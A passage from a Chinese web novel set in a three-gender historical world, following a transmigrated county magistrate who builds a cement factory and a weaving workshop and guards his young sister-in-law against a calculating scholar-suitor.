云长歇离开之后,就直接回到了县衙。他还有些公务没有处理完,打算处理完就回到后院休息。 秋平县的账务,他已经核对完了。 也不知道他那便宜爹怎么当的官,县衙库房一直都是亏空的状态。 好在,他从山匪那里弄来不少金银珠宝,不然他想要发展秋平县都很困难。 上一次,从山上一共带下来一千六百两银子。 这些银子他给了陈猎户与他的朋友,还动用了五百两去请救兵,如今还剩下不到一千两。 那些东西里面,银子并不是最值钱的。 最值钱的,是里面的珠宝,玉石,以及夜明珠。 云长歇让陈猎户帮忙,带去了更远的地方变现了。 最后拿到了将近四千两的银子。 四千两银子,看起来十分多。 实际真的用到县里发展上,它真的不算是什么大数目。 他本来还想着,用这些银子做好事,比如施粥什么的。 但是后来想了想,施粥只能救百姓一时不能救百姓一世。 与其把银子用在这方面,不如用到更有用的事情上。 云长歇想要弄个水泥厂出来。 都说要想富先修路。 他想要秋平县的百姓富裕起来,最好的办法就是先把路给修起来。 修路修得好的话,就能够带动水泥厂名声。 水泥厂若是能长久的存在,秋平县的百姓就能多一个养家糊口的门路。 至于突然弄出水泥这样的好东西,会不会太过扎眼了? 水泥,云长歇不打算以自己的名义弄出来。 他呢,就给出自己的一个想法。 然后找来一批工匠,再时不时引导他们一下,想要弄出水泥并不困难。 如今科技不发达,制造水泥就需要大量的人力。 而这些人力,就是当地的壮劳力,大多数都需要男人。 男人都进厂制造水泥,都跟着云长歇去修路,地里的庄稼又要怎么办? 自然是……给一些普通女人,哥儿们,一个种地,走出家门的机会。 云长歇没办法做到,短时间内来个什么解放妇女哥儿的事情。 当一个地方的劳动力不够,女人和哥儿能够出门做活,他们的地位自然就会上升。 至于云长歇一个男人,为什么要致力于帮助女人和哥儿提升地位? 一来是因为,他来自于现代社会,知道女人的力量也不可小觑。 在古代这样人口少的大环境下,若是把女人,哥儿都关在后院里,对于当地的发展并不是好事情。 他们这个世界有三种性别,男人,女人,哥儿。 男人把其中两个弱势的性别全部控制起来,那么他们的世界就少了三分之二的人口。 三分之二啊,那是多少劳动力啊。 二来,他并不觉得,压迫女子,哥儿是什么值得炫耀的事情。 压迫他们,不会让他觉得快乐,因为他是女人生的,不是从男人的肚子里爬出来的。 还有就是,他的孩子也会有哥儿,女孩。 他去压迫别人家的哥儿女儿,以后自然有更多的人压迫他的哥儿他的女儿。 不管是为了自己的孩子,还是为了秋平县的发展,云长歇都觉得自己的想法是对的。 他可以先踏出去一步试一试,然后看一看大周其他地方与陛下的反应。 若是反应不好,他就不继续他的想法,而是安安分分当一个普通封建社会的官员。 若是反应不错,陛下是赞同他的,那……大周的天就要变一变了。 第75章 第 75 章 之前云长歇说了,要给他…… 之前云长歇说了, 要给他们家哥儿办抓周礼的。 结果没有想到,因为回来赴任的事情就给耽搁了。 如今终于忙完了,云长歇就在小年的时候给孩子补办了一个。 如今孩子已经一岁多了, 抓周礼的当天宴请了不少当地的百姓。 这一次办宴席,不是为了收礼,主要是为了给孩子办抓周礼,希望宴席上面能够热闹点。 云长歇对苏青箬说过, 他不在乎孩子的性别, 哪怕他就是个小哥儿, 他也想给孩子最好的。 所以抓周礼的当天,县衙这边来了不少人。 有当地的地主乡绅, 有云家族里的亲戚, 还有云长歇认识的人。 除了这些人,更多的还是普通的百姓。 百姓过来的时候, 云长歇不让他们带礼物的。 但是百姓们想到是县太爷家的公子举办抓周礼,他们还是想要稍微的表达一下自己的心意。 他们没有带什么贵重物品,大多数带的都是一些小东西。 比如什么山里的冬笋, 晒干的菌子, 自家的鸡蛋,还有什么绣帕,草编的花篮,山上抓的兔子…… 他们带的东西都很有意思,云亭楼被苏青箬抱着一个个盯着看,小娃娃看起来还挺开心的。 后来苏青箬抱他抱累了, 就把他交给了甜桑与杜若。 这孩子被柳氏惯着,没有之前那么听话了,有的时候有一点淘气。 云长歇觉得哥儿淘气点好, 淘气一点,皮实一点,以后省的容易被人欺负了。 俗话说得好啊,“人善被人欺,马善被人骑”,把孩子的性格养的太软不是什么好事情。 以后长大了,不光容易被男人欺负,就是女人和哥儿也能欺负他。 有的时候,苏青箬就挺不理解云长歇的。 他觉得云长歇的想法,很多时候跟周围的人不大一样。 周围的人家养哥儿,都是想着养得乖巧一点,以后长大了好找婆家。 但是云长歇就不一样,他觉得哥儿若是太乖了,反而是在变相的害他。 如果一个人,是冲着找个贤惠,懂事,会伺候人的夫郎。那这样的一个人,嫁给了他也不会有多么幸福。 在他看来,哥儿的懂事,体贴,会伺候人都是理所应当的。 不管这个哥儿做得多好,他都不会觉得是这个哥儿好。 相反,若是这个哥儿哪里做的差一点,他就会觉得这个哥儿有千错万错。 云长歇把孩子生下来,不是为了辛辛苦苦的养大,然后送到别人家为奴为婢的。 他家哥儿以后要嫁,就嫁给能真心疼爱他,宠着他的人。 就算找不到合心意的,他也不会逼着对方随便找个男人嫁了。 只要云家足够家大业大,他家哥儿就算一辈子不嫁人也无妨。 楼儿抓周礼上,抓了一把小木剑。 周围围观的众人见状,都忍不住觉得十分惊奇。随即一个个看向了云长歇,生怕云长歇会因此而生气。 因为一般的人家,都是希望哥儿喜欢琴棋书画的。 这舞刀弄枪的事情,只有男人才能来,很少见哥儿或者女子喜欢的。 结果让所有人惊讶的是,这位知县大人不仅不生气,反而笑着夸奖了孩子一句。 “这孩子真不错,是一个不怕吃苦的。” 一旁的苏青箬闻言,忍不住偷偷笑了笑。 他太了解云长歇了,其他人都捏一把汗的时候,他就猜到了云长歇会怎么说。 等到抓周礼结束,苏青箬就带着孩子回了后院。 他不喜欢热闹,也不喜欢应酬,就不想在前面跟大家客套了。 然后在他走后没多久,就有一个人来到柳氏的跟前,跟她问起了艾草两个人的婚事。 柳氏闻言笑着说道:“他们两个人的婚事,主要还是要看长歇与他夫郎的意思。长歇那边的意思是不急的,可以再等两年到时候再说。至于他夫郎那边,他比较在乎弟弟妹妹的想法,若是遇见了还不错的,也是可以考虑考虑的。” 听说可以考虑,那人就来了精神。 “我这边有个读书人还挺不错的,这孩子家里情况不算好,他有个寡妇娘,母子两相依为命。他之前考了个秀才,如今眼看着年纪大了,就想要先讨一个媳妇。” “哦,是他瞅见了我们家艾草还是山樆了?你说他家孤儿寡母的,难不成连个亲戚都没?” 两个人仔细的聊了起来,那小书生看上的人是山樆。 山樆的年纪还小,苏青箬那边的意思是,先紧着艾草这边的来说。山樆还可以再等个几年,可以压在身边慢慢来。 那读书人是个秀才,今年已经二十有三了。 估计是不想继续拖下去了,也有可能是想要攀上云家,以后好对他考科举方便点。 柳氏大概的了解了一下,就皱着眉头摆了摆手道:“这个不行,你说他是去借书的时候,看见了山樆去卖绣活赚私房钱,觉得山樆是个会过日子的人?所以他才起了,想要跟云家结亲的意思?那他是看上山樆的人啊,还是看上她会赚钱啊?” 柳氏这话有点尖锐了,但是也不能怪她尖锐。 主要是这个人,自己没有多大本事,也没有什么好出身。 他只是一个小小的秀才,就开始算计别人家的姑娘,还真的以为秀才了不起了? 她儿子还是探花郎呢,这样的人家感觉不地道。 那帮忙说媒的人闻言,似乎也没有想到柳氏是这个反应。 一般人家的姑娘,哪个不喜欢被人夸一句勤俭持家,贤惠能干的? 她本以为她那一句话是好听话,却没有想到却戳了柳氏肺管子。 她见柳氏眼底生了厌烦,也就没有继续再提这件事。 事后,也就是抓周礼的第二天。 柳氏就把这件事情,跟苏青箬和云长歇说了。 云长歇觉得柳氏想得不差,这样的人家是不可以嫁的。 一个寡妇能够培养出来个秀才儿子,就能看得出来这个寡妇是个厉害的。 不是说她厉害不好,她这样厉害对于他们母子是好的。 但是对于嫁过去,给他们家当儿媳妇的人不见得就是好的。 因为这个寡妇肯定强势,艾草和山樆都是老实温顺的性格。 他们若是碰上这样的婆婆,是很容易被对方搓扁捏圆的。 还有就是那个秀才,盯着人家未出阁的姑娘一举一动,本身就不是什么礼貌的事情。 相看,相看,他都没有提前打招呼,就自己相看起来了? 还是个读书人呢,一点基本的礼仪也没有。 还有就是,相看不是只让男方随意相看的,还要他们这边相看对方才行。 哪里是他一句他看上了,他们这边就同意的道理? 这还是在,云家这边地位更高的情况,他就能露出这样的做派来。 若是以后把他培养出来,他的官位比云长歇高了,还不知道是个什么德行。 云长歇有钱是有钱,可不愿意养个白眼狼出来。 云长歇:“这个人不行,你让你弟弟妹妹身边的下人机灵点,莫要让一些心眼多的人哄骗了。” 万一对方来个生米煮熟饭,艾草与山樆都没有什么大的见识,很容易就被这样的小白脸哄骗了。 苏青箬点了点头,他让甜桑去找弟弟妹妹身边伺候的下人谈了谈。 结果让他没有想到的是,那个秀才已经接触过山樆了。 更让苏青箬十分后怕的是,山樆竟然没有把这件事情告诉他? 苏青箬被吓得不轻,他把这件事情告诉了云长歇。 云长歇见他的脸色很不好看,便伸出手来拉着他的手说道:“别怕,还好我们问的及时,现在知道还是能补救的。等会儿,你去找山樆问问,你不要表现的太激动,以免把孩子给吓坏了。” 他是男子,还是哥夫,是不大适合过问的。 这样的事情,还是苏青箬这个哥哥去问比较方便。 如果苏青箬真的处理不好,到时候可以交给梁婶或者柳氏。 这些年来,艾草和山樆都是梁婶带着,他们之间的感情还是不错的。 苏青箬按照云长歇的话,去了山樆那边询问了情况。 山樆与艾草的性格不大一样,是个不怎么喜欢说话的人。 她的心思藏得深,自己的主意也大。 苏青箬去问她的时候,她还皱着眉头反问他。 “哥哥去问我的下人了?你们不是说,她以后是我的人吗?” 苏青箬不能说话,只能慢吞吞在纸上写字,其实这样是很难沟通的。 尤其是当另一方,有点青春叛逆期的时候,他想要沟通就会更加困难。 苏青箬见她不想多说,似乎还有一点排斥他,便只好暂时离开了。 等到苏青箬离开,很少发脾气的山樆突然打了她身边的侍女。 “以后我的事情,不准告诉我大哥。” 侍女闻言,一边立刻跪下来,一边委屈的说道:“这件事是瞒不住的,奴婢觉得也不能瞒下去。梁婶说过谈婚论嫁,谈婚论嫁,首先要双方长辈谈了,小辈才能去接触……” 不待侍女把话说完,山樆就忍不住打断了她。 她也没有想瞒多久,人都是慕强的。 她觉得大哥嫁了个读书人,后来就带着他们过了好日子。 她的想法很简单,那就是她也想要嫁个读书人。 以后就算,大哥大哥夫的感情不好了,大哥他们也能够依靠她。 至于那个人如何,她心里喜不喜欢他,她真的还没有想那么多。 苏青箬走后没多久,梁婶就提着盒点心过来了。 她见山樆的侍女跪在地上,挥了挥手示意对方先出去。 等到房里只有她们两个了,梁婶也不说山樆让侍女下跪的事,而是跟她聊起了其他的事情。 两个人一边吃糕点,一边聊着外面的事情,渐渐的山樆的情绪就平复了很多。 也不需要梁婶开口问她,她就自己把所有事情都跟她说了。 第76章 第 76 章 梁婶:“这件的事起因在…… 梁婶:“这件事情的起因在于有人想给你们说亲, 不是你大哥故意跟你的侍女打听你的事情的。是有人找到夫人的跟前,想要给你和那书生说媒。夫人呢,觉得你的年纪还小, 以后你哥夫肯定会升迁,她不希望你嫁在这边。她担心一大家子都走了,把你留在这边会受委屈。” 似乎怕山樆不明白,梁婶十分耐心的继续说道:“云家确实比那家人风光, 但是以后若是搬走了。你这边有个什么事情, 云家也不一定就知道。还有就是人心善变, 那人现在对你不错,那是看在你哥夫的份上, 他需要你哥夫供他科举。但是等到他当上了大官, 会是什么模样就不知道了。” 梁婶小时候家境很不错,她家里家境好的时候, 周围的人看起来都很友善。 但是等到她家败落了,那些亲戚,朋友, 邻居一个个都像是变了一副嘴脸。 他们都恨不得, 上来踩一脚,从她身上分一块肉吃。 要说有什么深仇大怨,自然是没有什么深仇大怨的。 梁婶那个时候,就是个深宅里的姑娘。 她连大门都没有出过,根本不可能跟人结仇。 他们恨她,怨她, 想要欺负她。 不过是觉得她是女子,想要逼迫她,把她卖了, 然后榨干最后一丝价值罢了。 这个世道,是会吃女人与哥儿的。 如今山樆觉得日子过得好,觉得大家都对她挺不错的。 这一切全都是因为,他有一个好大哥,还有个有本事的大哥夫。 一旦没有云长歇的庇护,她就是个人人可以欺负的小可怜。 所以不管是柳氏,云长歇,还是苏青箬,他们都不希望艾草与山樆嫁得太远。 其实嫁人,不一定就绝对会幸福美满。 若是嫁了个好人家,以后的日子也许不错。 若是嫁了个坏人家,那便是无休无止的噩梦了。 在梁婶看来,嫁人还是需要谨慎一点的。 山樆:“我跟他接触过两次,我觉得他人还挺好的。他家的人口少,以后也没有那么多麻烦事。至于梁婶担心的,你们搬走了我怎么办?大哥,大哥夫总不能帮我一辈子,我觉得我自己也没有那么差劲。” 听到山樆这样说,梁婶忍不住皱起了眉头。 “你喜欢他,想要嫁给他?” “也,也算不上喜欢,我就是想要嫁个读书人。” “想要嫁个读书人还不好找吗?你大哥夫现在是县太爷,那些读书人都要巴结他,你想要嫁一个读书人,是一件很容易的事情。” “可是……梁婶,不是所有读书人都看得上我的。” “他们现在看不上,不代表以后也看不上。嫁人的事情急不得,你要听你大哥夫的安排。” 与山樆聊了一通之后,梁婶就去找云长歇去了。 她把她们聊得话跟云长歇说了,云长歇便说:“以后她和艾草再出去时,没有梁婶你跟着不能出去。” 梁婶闻言犹豫道:“这样会不会不太好?” “没有什么好不好的,就是我和青箬太惯着他们了,才会把她的胆子给养起来了。” 想当年,山樆跟着艾草进云家的时候,还是那样小小的一只。 那么小,那么胆小,说话都不敢大声。 这些年,云长歇忙着读书考科举,加上他的身份不方便教育他们。 没有想到,日子过得太好了,山樆都敢出手打人了。 呵呵。 苏青箬的性格太温柔了,他们估计也不害怕苏青箬。 既然苏青箬管不住他们,那他就代替他好好管教管教。 山樆,现在会变成这个样子。 云长歇觉得除了他们惯得,更多的还是因为青春期。 青春期,少年慕艾。 是最容易见个男人就上头的。 其实这样的情况,就是因为见的男人太少了。 以后找机会,多见一见,开开眼界,就不会这样了。 但是不能让他们自己见,需要柳氏,梁婶,苏青箬在旁边陪着。 省得傻乎乎的,被个男人一哄,就让人拉手,亲嘴的。 哎…… 因为云长歇下了命令,连带着艾草出门都受了限制,艾草为此免不了有点生气。 这一日,也就是大年三十。 艾草跑来找苏青箬诉苦,“大哥,为什么山樆妹妹犯了错,要我跟着她一起被禁足?” 苏青箬闻言笑了笑,他伸手拉住弟弟的手,慢悠悠在纸上写道:“别担心,过些时日就好了。” “可是我想出去玩。” “让婶子陪你去。” 艾草不想让梁婶跟着,梁婶的年纪大了,喜欢念叨,走路也慢。 但是他不想让梁婶跟着,苏青箬这边也不愿意放行,他就只能气呼呼的回去了。 苏青箬看着艾草离开,拿着手里的笔有点走神。 一旁的杜若看见了,有点担心的问道:“主夫,你怎么了?” 看起来似乎有点不开心。 苏青箬摇了摇头,示意他出去忙吧,他突然有点想睡觉。 苏青箬觉得,是不是他不会教孩子? 是因为他不会说话,没办法经常陪弟弟妹妹谈心,所以才导致他们变得不懂事了? 那楼儿? 楼儿跟着他,会不会也会被他养歪? 想到这里,苏青箬就十分的忧心。 晚上云长歇回来时,杜若就拦住了他的路,小声的跟他说了一句。 “大人,今天三公子过来过,主夫似乎有点不开心。” 云长歇闻言点了点头,随即就示意他不要跟着了。 他一个人进了房门,进去的时候苏青箬正在发呆。 一直等到云长歇走近了,他才发现他家夫君回来了。 云长歇笑着问道:“怎么了,在想什么呢?” 苏青箬知道云长歇很忙,就不想让云长歇为了后宅的事情烦心。 再加上,艾草只是想要出去玩,这样的小事也没有什么好说的。 云长歇见他不想说,也就没有逼着他说的意思。 能让苏青箬担心的事情,除了孩子就只有那对弟弟妹妹了。 孩子那边有柳氏看着,绝对不会出什么状况。 至于那对弟弟妹妹,如今也被他半禁足的状态。只要他不放他们出去乱跑,外面的人有再多想法也没有用。 今天是大年夜,云长歇是要守夜的。 往年柳氏还会跟着守,如今柳氏的年纪大了,今年就不跟着守夜了。 苏青箬起来收拾一下,就跟云长歇去院子里守夜。 今晚的风挺大的,两个人穿得十分厚实,一起守在院子的火堆前。 后来两个人站累了,就让远志搬了两张椅子出来。 后半夜的时候,陈猎户从外面喝酒回来。 他平日里很少来后院,今天似乎有事情找云长歇,他就拎着一壶酒过来了。 他是来给自己说亲的。 他想娶箐珊。 这个想法,他很早之前就有了。 不过那个时候,他还没有什么大本事。 加上,箐珊与柳氏的感情深厚,箐珊不一定愿意嫁给他。 如今……他当了捕快,山匪的事情立了功,手里头也有银子。 他想着,如今柳氏身边有其他下人了,箐珊现在离开应该没有问题,这才鼓起了勇气来问问的。 云长歇听完他的话,笑着对他说道:“这事我做不了主,你明天去问一问我娘,再问问箐珊乐不乐意。” 陈猎户见状一脸无奈,他要是敢去问柳氏早问了。 他总觉得,柳氏跟箐珊像姐妹一样,柳氏估计看不上他。 之后陈猎户灰溜溜走了,云长歇见苏青箬有点困了,就用披风裹着让他睡会儿。 后半夜,是他抱着苏青箬守完夜的。 天快要亮的时候,起了雾。 云长歇见香塔烧完了,就抱着人回了房里。 两个人守了夜,大年初一要睡到下午。 下午一起来,云长歇就带着苏青箬,楼儿,回了云家老宅那边。 如今云家本家就他一个在这,自然要由他去给云家列祖列宗上坟烧纸。 按照惯例,哥儿是不能带着去的,只有云家的男丁才能去。 但是云长歇觉得,楼儿是他家的老大,在他眼里就跟儿子一样。 他执意要带着,那些族里的老人们,也就象征性的阻拦一下,最后还是让他把人带上了。 云长歇让楼儿给云家祖宗们磕了头,希望祖宗们保佑他的孩子平安健康。 第77章 第 77 章 次日早上,族里一位的老…… 次日早上, 族里一位老人领着一个孩子找到了云长歇的面前。 老人推了推那个孩子,孩子立刻跪在了云长歇跟前。 云长歇见状不解的问道:“这是做什么?” “这孩子父母没了,又是一个小哥儿。我就想着过来求求大人, 看看能不能把他收了。也不求大人以后能给他什么,只要能够给他一口饭吃就行。” 云长歇:“他的父母没了,爷爷奶奶和其他亲戚呢?” “他们都嫌弃他是个哥儿,就没有人愿意领养他。” 云长歇闻言叹了一口气, 他示意那孩子先站起来, 这才开口对那孩子道:“跟着我, 只能当个下人,你确定要跟着我?” 为了避免以后有麻烦, 这个孩子若是跟了他, 以后就只能当个下人。 下人,也就是奴籍, 可不是什么光彩的事情。 小孩已经七八岁了,他闻言对云长歇说道:“当个下人,也好过被他们磋磨。我那姑姑说了, 他们把我养大一点, 就把我送给地主当小妾。我不想当小妾,求大人救救我,我会很乖很听话的。” 他不想当小妾,那地主都能当他爷爷了,他才不要给他当小妾。 一旁的苏青箬见状,有点心疼的看了看他。 他想着他们家楼儿, 以后也需要有个下人照顾,不如就把这孩子收下。 这样等到他学会了规矩,那个时候楼儿也大了, 可以让他守在楼儿身边。 似乎看出了苏青箬的想法,最后云长歇写了一张卖身契书就把孩子买了。 这孩子姓云,也算是云家的人。 云家以前是寒门,也就这些年本家这边慢慢起来了。 不过本家起来了,不代表云家所有的人都能跟着过好日子。 一些关系远的云氏族人,还是有不少人家日子过得很苦的。 云长歇可以收下这个孩子,却不愿意以后当个冤大头。 万一以后他的姑姑,他的爷爷奶奶后悔了,说不定会过来摘桃子。 如今把卖身契签了,那边也没有办法跟云长歇闹腾。 之后他们一行人回到秋平县,云长歇就开始忙碌办厂子的事。 水泥厂这样的工场,多多少少有点污染,就不适合建在居民多的地方。 云长歇带着人在县里转了一圈,就把水泥厂的地址选在城北的一片荒地上。 选好了地址,就要开始招工。 为了方便管理,也是为了包吃包住,从而吸引来更多的工人。 他们在工场旁边,建造了一排简易的房子,还建造了一个大食堂。 古代是很少有包吃包住这样的工作的,这个时候招民工很多都是服徭役,偶尔给钱的也都给的很少很少,期间说不定还会有生命危险。 云长歇弄得这样的工场,绝对是有史以来最利好百姓的。 他对工场十分的有信心,到时候一定能成为秋平县一大热门赚钱的地方。 在水泥厂制造出第一批水泥之前,云长歇这边肯定只出不进。 好在,他从山匪那里弄了不少的银子,他暂时是不担心钱的问题。 等到他把银子用完,那个时候厂子也差不多该起来了。 水泥的制造工序不算复杂,但是对于现在的工业水平来说,制造起来还是有点麻烦的。 还有就是,他想要保证制造水泥的方子不泄露出去,就要弄一个生产流水线出来。 人心难测。 水泥的制造方子,若是传到了其他国家,对于大周不是什么好事。 云长歇是大周人,不管他对大周有没有感情,看在他的家人都在大周的情况下,他心里肯定希望大周是最强大的。 在水泥厂这边慢慢建造起来的时候,云长歇正带着人给百姓们普及喝开水的习惯。 他也是最近才知道,很多百姓家喝水都是直接喝生水。 尤其是夏天,很多人直接喝井水,这样是很容易生病的。 因为云长歇这个县太爷亲自过来宣传,哪怕很多人觉得不以为然,也是愿意相信他说的话的。 有人说:“他是县太爷,还是探花郎,自然比我们知道的多。咱们县太爷为人和善,还帮咱们抓过山匪,是个很不错的大人,我们还是按照他说的做吧。” 当然了,一些家里条件差的。 比如一些农户,他们家里不舍得烧柴火,也就没有把这话当回事。 没有办法,就算云长歇说的是真的,他们穷啊,那些柴火是做饭用的,更多的是为了卖钱。他们明知道喝生水容易生病,还是不得不喝生水。 不过好在,如今县里弄了个工场,以后可以招很多工人。等到百姓的日子好起来,喝开水的观念自然会养成。 这一年的四月中旬,云长歇的水泥厂就建好了,开始大范围的招收工人。 等到生产出来两批水泥,还要招收大量民工修路。 到时候,县里的很多壮劳力,就有了个赚钱的门路。 县里的百姓们,日子应该就能慢慢好起来。 水泥厂招工那几天,主角攻带着护卫过来了一趟,似乎很好奇这个所谓的工场。 云长歇看见他们的时候还挺意外,没有想到主角攻没有跟苏青箬发生感情线,人竟然还留在秋平县里? 后来他就发现,主角攻身边跟了个陌生哥儿。 那哥儿长得很漂亮,柳眉杏眼的,跟在主角攻身后亦步亦趋。 云长歇见状有点无奈,没有想到没有了苏青箬之后,主角攻还能跟人勾勾搭搭的。 就是可惜了这个哥儿,也不知道以后会是个什么下场? 云长歇是不大乐意,看到主角攻哄骗别人的。 他想了想,就让人找了个小叫花子给那哥儿送了一封信。 他想着,那个哥儿肯定还不知道主角攻的身份,也不知道主角攻还有一个未婚妻。等到他知道了真相,他应该就不会跟主角攻接触了。 但是让云长歇没有想到的是,那个小哥儿拿到他给的信之后,不仅没有从主角攻身边离开的意思,反而比之前还要粘着主角攻了。 好吧。 见到此情景,云长歇就知道自己多事了。 人各有命,他只能帮他到这里。 既然后面的路是他自己选的,那么之后就跟云长歇无关了。 工场是在五月正式开工,到了六月下旬的时候,就制造出了一批水泥。 因为不确定水泥质量是否达标,云长歇就没有立刻上报给朝廷。 他带着工匠做了很多次实验,后来又改良了一下水泥配方,之后又花费了三个月的时间,他们制造出来了两批水泥。 两批水泥,一批先投入修路,主要修的是县城主街。另一批用来修城楼城墙,看看两边的效果有什么不同。 不管是修路,还是修城楼,都需要不少的民工,就要招收更多的人。 这个时候,已经是十月份了。 山匪的那些银子早就花光了,如今正在用的是县衙里的钱,马上就要用到云长歇的私库了。 云长歇担心之后没有银子,就一边把水泥的事情上报给了朝廷,一边加紧制造水泥准备卖给其他县。 他们修路只修一小段,主要是为了展示水泥路的好处的。 等到其他县看到样品,自然就会有人动心想要购买,到时候云长歇就又有银子了。 对于可以修出光滑平整的路这件事情,周围几个县都挺好奇的。 在传出这边有水泥后,就有两个县的人过来亲自看过秋平县修出的那段路。 路边确实十分平整,光滑,不管是马车还是马,行驶在上面都十分舒适。 就是人走在上面,时间久了,鞋子都能少磨破几双。 不过由于水泥造价昂贵,他们也不舍得买太多。 大家都是县,又不是府城,他们收的税少,也没有其他进项,大多数都比较穷的。 所以后来他们来来回回几趟,也就过来了买了一些回去试用,暂时没有想要大量购买的意思。 水泥的造价确实高,一来材料不好弄,需要去别的地方运。二来现在的科技落后,就需要消耗大量的人工。 用的人越多,水泥的价格就越是高。 真的愿意花大钱,用水泥修路的地方真的不多。 估计也就一些府城,有这样的大手笔愿意用水泥修路了。 事实证明,云长歇的想法确实是对的。 一直等到腊月,云长歇才等来了个大单子,正是来自于他们府城的。 府城比他们小县城财大气粗,一买就直接买了十车的水泥。 据说他们买水泥,是为了修城里的几条主街。 他们想要先试用一番,若是真的效果不错,到时候就会全城推广。 不得不说的是,府城就是要比下面富裕啊。 第78章 第 78 章 水泥工场,一开始是处于…… 水泥工场, 一开始是处于亏损状态的。那个时候大家知道水泥工场,也没有什么人打探里面的情况。 等到大家发现水泥的好处,并且看到水泥还能赚钱的时候, 渐渐地就有一些人按耐不住了。 为了防止水泥还没有赚到钱,水泥的配方就被人泄露出去,云长歇这边也没有少废心力。 好在功夫不负有心人,很快朝廷那边就有了回复。 朝廷会派人过来一趟, 若是这水泥真的如同云长歇说的那样好, 以后这个水泥工场就交给朝廷来管着。 当然了, 云长歇带着工匠弄出这样的好东西,朝廷也不好直接过来摘桃子, 肯定会给他不少的奖赏的。 云长歇弄这个水泥工场, 除了赚钱,除了修路, 更主要的原因就是,给当地百姓更多的就业机会。 只要当地的就业机会多起来,百姓的生活自然就能富裕起来。 同样的, 当地的男丁都去工场, 都去修路去了。 地里的农田,其他的活计,就需要女人和哥儿去做。 在这样的情况下,女人和哥儿能够赚钱了,不管是在家里的地位,还是社会上的地位, 自然而然的就会慢慢提升。 水泥工场交给朝廷管理,会比在云长歇手里管理的更加严苛。云长歇也能撒手去做其他的事情,不用担心工场没有他之后就没有办法正常运行了。 水泥工场, 是在第二年的夏天,交到朝廷的手里的。 皇帝奖赏了云长歇一万两黄金。 这里的一万两黄金里面,包括了之前建工场的花费。 云长歇自己留了一半,剩下的一半他开始琢磨着弄些其他的东西。 工场交给了朝廷,工人招工什么的,依旧是就近招工,获利的还是秋平县的百姓。 从工场建造好,到现朝廷接手。 因为这个水泥工场,他们县里的百姓多了一项进项。 很多农户家的男丁们,能出来做工的都出来做工了。 在他们都出来的情况下,他们家的女人,哥儿就不得不出来干活。 他们主要干的就是农活,种地,养鱼,种菜,甚至开始去镇上,县里摆摊卖东西。 随着女人,哥儿开始抛头露面。 一些好色的男人们,就有了想要招惹他们的苗头。 为了保证给女人哥儿一个安全的环境,能够让他们也成为真正的劳动力。 云长歇让各地的镇守们,杀鸡儆猴抓一些典型的犯人,在他们的脸上刺字,或者加重这类罪犯的刑罚。 本身大周,对于□□罪就十分的严苛。 云长歇又从重处罚这类犯人,整个秋平县的风气变得很好。 其实大多数的男人,也是希望能少一些流氓地痞的。 哪怕大多数的男人都好色,但是由于他们都是娘生爹养的。正常人的家里都有女人,哥儿,他们也希望世上少一些流氓混混。 所以云长歇的这一番作为,是很受当地百姓的喜欢的。 他们喜欢这种安稳的风气,就算他们不陪着家里的女人,哥儿,也不用担心他们被人欺负。 这样的好风气之下,很多女人,哥儿,甚至是孩子,都敢一个人去县里做生意。 一些附近的百姓们,看到秋平县风气这样好,还有更多的赚钱门路,有不少人起了搬家过来的想法。 刚好这个时候呢,云长歇用皇帝赐的金子,张罗着弄出了个绣坊。 为了这个绣坊,他还带着工匠们改良了现有的织布机。 因为云长歇给钱大方,跟着他的工匠们都十分的努力。 他们弄出了改良版的织布机,织出来的布要比以前的更加细腻,织布的速度也更加快。 云长歇把绣坊建造出来后,就把这样的织布机投入使用。 织布这样的活,主要面向的是女人与哥儿。 一些心灵手巧的男人,只要有真的本事,他们绣坊也是收的。 为了鼓励女人,哥儿走出家门。 也为了鼓励男人们,发挥个人所长。 这一段时间,云长歇天天往下面宣传什么。 只有有一技之长,不管这个技艺是什么,都是一个本事和能力。 就比如,男人会织布,会绣花,不应该被人笑话。 男人会织布,会绣花,只要有的是真本事,也能够赚到大钱。 同样的,一个女人若是力气大,她也可以去杀猪,去当猎户,去工场干活。 对于云长歇这个县城的特立独行,一开始周围很多地方都觉得好笑。 他们觉得云长歇这个县太爷,像是戏台上面的戏子一样,一点也没有架子,天天跟一群百姓混在一起。 一点也不像话。 还有不少读书人觉得,云长歇没有个读书人的样子。 他竟然鼓励百姓经商,还跟一群下等工匠混在一起。 士农工商啊,他跟最低等的两类人待在一起,简直就是有辱斯文。 然而不管他们在背后,如何的指指点点。 等到看到秋平县的百姓富裕起来,周围的百姓陆陆续续往那边搬的时候,他们才后知后觉的意识到了不对劲来。 人口。 在古代是很重要的。 云长歇在带着整个秋平县,努力的吸收周围的人口。 这样下去的后果就是,秋平县的人口会越来越多。人口多了,劳动力多了,税收也会多起来。 不止如此,秋平县的百姓也会更加富裕。 他们越是富裕呢,好吧,周围的其他的县的百姓就越是想要搬过去。 为了这件事情,云长歇还被人参了一本。 但是这个时候,皇帝正因为云长歇搞出来的水泥高兴着呢。看到有人参了云长歇一本,他也不慎在意的往旁边一扔。 只是几个小县城少了一些人口而已,这些人又不是被秋平县的人杀了,对于一个皇帝来说就不是什么大事情。 因为秋平县多了个大绣坊,最近绣活很好的山樆也跟着去赚钱去了。 云家这边是不需要她赚钱的,不过由于她不想被云长歇关着,就只能找了这样一个理由出去了。 然后出去了之后,她接触到了更多的人。 这里面不仅有女人,哥儿,还有很多的男人。 随着接触的人多起来,她的阅历与见识也多了起来。 后来她再遇见那个书生,她就没有那么想要嫁给他了。 有一些成了婚的姐姐,给她说过不少她不知道的事情。 她就发现不是所有的男人,都跟他大哥夫一样是个君子。 很多的男人,实际上私底下都很卑劣。 他们会为了少给聘礼,在婚前就哄骗女人与哥儿给了身子,然后再拿这件事情威胁逼迫他们。 也是这个时候,山樆才意识到她私自与那书生接触,是一件多么愚蠢且危险的事情。 所以能够出来之后,她就不想再见到那个书生了。 她突然觉得对方有点配不上她了。 因为现在的她,可以靠着自己赚钱。 她手里的银子,零零总总有一百多两。 只要她好好赚钱,她以后绝对不会愁银子花用。 但是让山樆没有想到的是,这个书生是那么的厚颜无耻。 对方似乎认定了,她以后会是他的妻子。 他看到山樆花钱买胭脂水粉,竟然托人给她递话,说她的举止不像个贤惠的女子。 一开始山樆还没有明白他的意思,还是一旁的侍女对她小声说了两句什么,她才猛然之间明白过来他话里的意思。 对方的意思很明显,是把她的银子当成是他的银子了。 他觉得山樆的银子,以后都是她的嫁妆,是要跟着她嫁进他们家的。 那些银子山樆不应该用在胭脂水粉上,而应该用在他读书考科举上面。 知道了他的意思后,山樆突然觉得这个人是真的让人恶心。 